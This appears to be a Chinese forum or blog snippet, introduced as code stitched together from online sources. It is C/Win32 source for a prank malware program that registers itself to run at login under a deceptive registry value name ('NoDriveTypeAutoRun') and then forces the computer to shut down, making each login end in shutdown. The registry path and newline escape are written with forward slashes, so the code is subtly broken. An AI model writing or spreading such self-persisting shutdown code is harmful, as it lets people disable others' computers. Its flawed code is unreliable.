些程序呢是我在网上找的代码组合而成的。 void CloseComputer() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return ; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return; ExitWindowsEx(EWX_SHUTDOWN, 0L); } int main(int argc, char* argv[]) { char strValue[100]; strcpy(strValue,argv[0]); //MessageBox(NULL,strValue,NULL,MB_OK); char strSubkey[]="Software//Microsoft//Windows//CurrentVersion//Run"; HKEY hKey; DWORD dwDisposition; long info=RegCreateKeyEx(HKEY_CURRENT_USER,strSubkey,0,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition); if(info!=ERROR_SUCCESS) { //MessageBox(NULL,"无法正确打开注册表键,请重试!!","a",MB_OK); return 0; } info=RegSetValueEx(hKey,"NoDriveTypeAutoRun",0,REG_SZ,(unsigned char*)(LPCTSTR)strValue,strlen(strValue)); if(info!=ERROR_SUCCESS) { //MessageBox(NULL,"error","a",MB_OK); RegCloseKey(hKey); return 0; } RegCloseKey(hKey); //MessageBox(NULL,"ok","a",MB_OK); //getchar();getchar(); CloseComputer(); printf("Hello World!/n"); return 0; }